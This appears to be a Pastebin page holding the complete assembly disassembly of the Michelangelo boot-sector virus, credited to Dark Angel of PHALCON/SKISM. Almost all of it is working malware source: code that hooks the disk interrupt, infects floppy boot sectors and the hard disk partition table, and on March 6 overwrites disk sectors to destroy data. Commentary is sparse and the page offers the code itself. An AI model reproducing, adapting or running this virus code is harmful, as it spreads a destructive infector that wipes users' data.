Advertisement
FlyFar

Michelangelo Virus Source Code

Jan 7th, 2023
1,597
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 6.74 KB | Cybersecurity | 0 0
  1. ; As you can see, it is a derivative of the Stoned virus.  The
  2. ; junk bytes at the end of the file are probably throwbacks to
  3. ; the Stoned virus.  In any case, it is yet another boot sector
  4. ; and partition table infector.
  5.  
  6. michelangelo    segment byte public
  7.         assume  cs:michelangelo, ds:michelangelo
  8. ; Disassembly by Dark Angel of PHALCON/SKISM
  9.         org     0
  10.  
  11.         jmp     entervirus
  12. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  13. maxhead         db      2                       ; used by damagestuff
  14. firstsector     dw      3
  15. oldint13h       dd      0C8000256h
  16.  
  17. int13h:
  18.         push    ds
  19.         push    ax
  20.         or      dl, dl                  ; default drive?
  21.         jnz     exitint13h              ; exit if not
  22.         xor     ax, ax
  23.         mov     ds, ax
  24.         test    byte ptr ds:[43fh], 1   ; disk 0 on?
  25.         jnz     exitint13h              ; if not spinning, exit
  26.         pop     ax
  27.         pop     ds
  28.         pushf
  29.         call    dword ptr cs:[oldint13h]; first call old int 13h
  30.         pushf
  31.         call    infectdisk              ; then infect
  32.         popf
  33.         retf    2
  34. exitint13h:     pop     ax
  35.         pop     ds
  36.         jmp     dword ptr cs:[oldint13h]
  37.  
  38. infectdisk:
  39.         push    ax
  40.         push    bx
  41.         push    cx
  42.         push    dx
  43.         push    ds
  44.         push    es
  45.         push    si
  46.         push    di
  47.         push    cs
  48.         pop     ds
  49.         push    cs
  50.         pop     es
  51.         mov     si, 4
  52. readbootblock:
  53.         mov     ax,201h                 ; Read boot block to
  54.         mov     bx,200h                 ; after virus
  55.         mov     cx,1
  56.         xor     dx,dx
  57.         pushf
  58.         call    oldint13h
  59.         jnc     checkinfect             ; continue if no error
  60.         xor     ax,ax
  61.         pushf
  62.         call    oldint13h               ; Reset disk
  63.         dec     si                      ; loop back
  64.         jnz     readbootblock
  65.         jmp     short quitinfect        ; exit if too many failures
  66. checkinfect:
  67.         xor     si,si
  68.         cld
  69.         lodsw
  70.         cmp     ax,[bx]                 ; check if already infected
  71.         jne     infectitnow
  72.         lodsw
  73.         cmp     ax,[bx+2]               ; check again
  74.         je      quitinfect
  75. infectitnow:
  76.         mov     ax,301h                 ; Write old boot block
  77.         mov     dh,1                    ; to head 1
  78.         mov     cl,3                    ; sector 3
  79.         cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  80.         je      is360Kdisk
  81.         mov     cl,0Eh
  82. is360Kdisk:
  83.         mov     firstsector,cx
  84.         pushf
  85.         call    oldint13h
  86.         jc      quitinfect              ; exit on error
  87.         mov     si,200h+offset partitioninfo
  88.         mov     di,offset partitioninfo
  89.         mov     cx,21h                  ; Copy partition table
  90.         cld
  91.         rep     movsw
  92.         mov     ax,301h                 ; Write virus to sector 1
  93.         xor     bx,bx
  94.         mov     cx,1
  95.         xor     dx,dx
  96.         pushf
  97.         call    oldint13h
  98. quitinfect:
  99.         pop     di
  100.         pop     si
  101.         pop     es
  102.         pop     ds
  103.         pop     dx
  104.         pop     cx
  105.         pop     bx
  106.         pop     ax
  107.         retn
  108. entervirus:
  109.         xor     ax,ax
  110.         mov     ds,ax
  111.         cli
  112.         mov     ss,ax
  113.         mov     ax,7C00h                ; Set stack to just below
  114.         mov     sp,ax                   ; virus load point
  115.         sti
  116.         push    ds                      ; save 0:7C00h on stack for
  117.         push    ax                      ; later retf
  118.         mov     ax,ds:[13h*4]
  119.         mov     word ptr ds:[7C00h+offset oldint13h],ax
  120.         mov     ax,ds:[13h*4+2]
  121.         mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  122.         mov     ax,ds:[413h]            ; memory size in K
  123.         dec     ax                      ; 1024 K
  124.         dec     ax
  125.         mov     ds:[413h],ax            ; move new value in
  126.         mov     cl,6
  127.         shl     ax,cl                   ; ax = paragraphs of memory
  128.         mov     es,ax                   ; next line sets seg of jmp
  129.         mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  130.         mov     ax,offset int13h
  131.         mov     ds:[13h*4],ax
  132.         mov     ds:[13h*4+2],es
  133.         mov     cx,offset partitioninfo
  134.         mov     si,7C00h
  135.         xor     di,di
  136.         cld
  137.         rep     movsb                   ; copy to high memory
  138.                         ; and transfer control there
  139.         jmp     dword ptr cs:[7C00h+offset highmemjmp]
  140. ; destination of highmem jmp
  141.         xor     ax,ax
  142.         mov     es,ax
  143.         int     13h                     ; reset disk
  144.         push    cs
  145.         pop     ds
  146.         mov     ax,201h
  147.         mov     bx,7C00h
  148.         mov     cx,firstsector
  149.         cmp     cx,7                    ; hard disk infection?
  150.         jne     floppyboot              ; if not, do floppies
  151.         mov     dx,80h                  ; Read old partition table of
  152.         int     13h                     ; first hard disk to 0:7C00h
  153.         jmp     short exitvirus
  154. floppyboot:
  155.         mov     cx,firstsector          ; read old boot block
  156.         mov     dx,100h                 ; to 0:7C00h
  157.         int     13h
  158.         jc      exitvirus
  159.         push    cs
  160.         pop     es
  161.         mov     ax,201h                 ; read boot block
  162.         mov     bx,200h                 ; of first hard disk
  163.         mov     cx,1
  164.         mov     dx,80h
  165.         int     13h
  166.         jc      exitvirus
  167.         xor     si,si
  168.         cld
  169.         lodsw
  170.         cmp     ax,[bx]                 ; is it infected?
  171.         jne     infectharddisk          ; if not, infect HD
  172.         lodsw                           ; check infection
  173.         cmp     ax,[bx+2]
  174.         jne     infectharddisk
  175. exitvirus:
  176.         xor     cx,cx                   ; Real time clock get date
  177.         mov     ah,4                    ; dx = mon/day
  178.         int     1Ah
  179.         cmp     dx,306h                 ; March 6th
  180.         je      damagestuff
  181.         retf                            ; return control to original
  182.                         ; boot block @ 0:7C00h
  183. damagestuff:
  184.         xor     dx,dx
  185.         mov     cx,1
  186. smashanothersector:
  187.         mov     ax,309h
  188.         mov     si,firstsector
  189.         cmp     si,3
  190.         je      smashit
  191.         mov     al,0Eh
  192.         cmp     si,0Eh
  193.         je      smashit
  194.         mov     dl,80h                  ; first hard disk
  195.         mov     maxhead,4
  196.         mov     al,11h
  197. smashit:
  198.         mov     bx,5000h                ; random memory area
  199.         mov     es,bx                   ; at 5000h:5000h
  200.         int     13h                     ; Write al sectors to drive dl
  201.         jnc     skiponerror             ; skip on error
  202.         xor     ah,ah                   ; Reset disk drive dl
  203.         int     13h
  204. skiponerror:
  205.         inc     dh                      ; next head
  206.         cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  207.         jb      smashanothersector
  208.         xor     dh,dh                   ; go to next head/cylinder
  209.         inc     ch
  210.         jmp     short smashanothersector
  211. infectharddisk:
  212.         mov     cx,7                    ; Write partition table to
  213.         mov     firstsector,cx          ; sector 7
  214.         mov     ax,301h
  215.         mov     dx,80h
  216.         int     13h
  217.         jc      exitvirus
  218.         mov     si,200h+offset partitioninfo ; Copy partition
  219.         mov     di,offset partitioninfo      ; table information
  220.         mov     cx,21h
  221.         rep     movsw
  222.         mov     ax,301h                 ; Write to sector 8
  223.         xor     bx,bx                   ; Copy virus to sector 1
  224.         inc     cl
  225.         int     13h
  226. ;*              jmp     short 01E0h
  227.         db      0EBh, 32h               ; ?This should crash?
  228. ; The following bytes are meaningless.
  229. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  230. partitioninfo:  db      42h dup (0)
  231. michelangelo    ends
  232.         end
Tags: the90s virus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement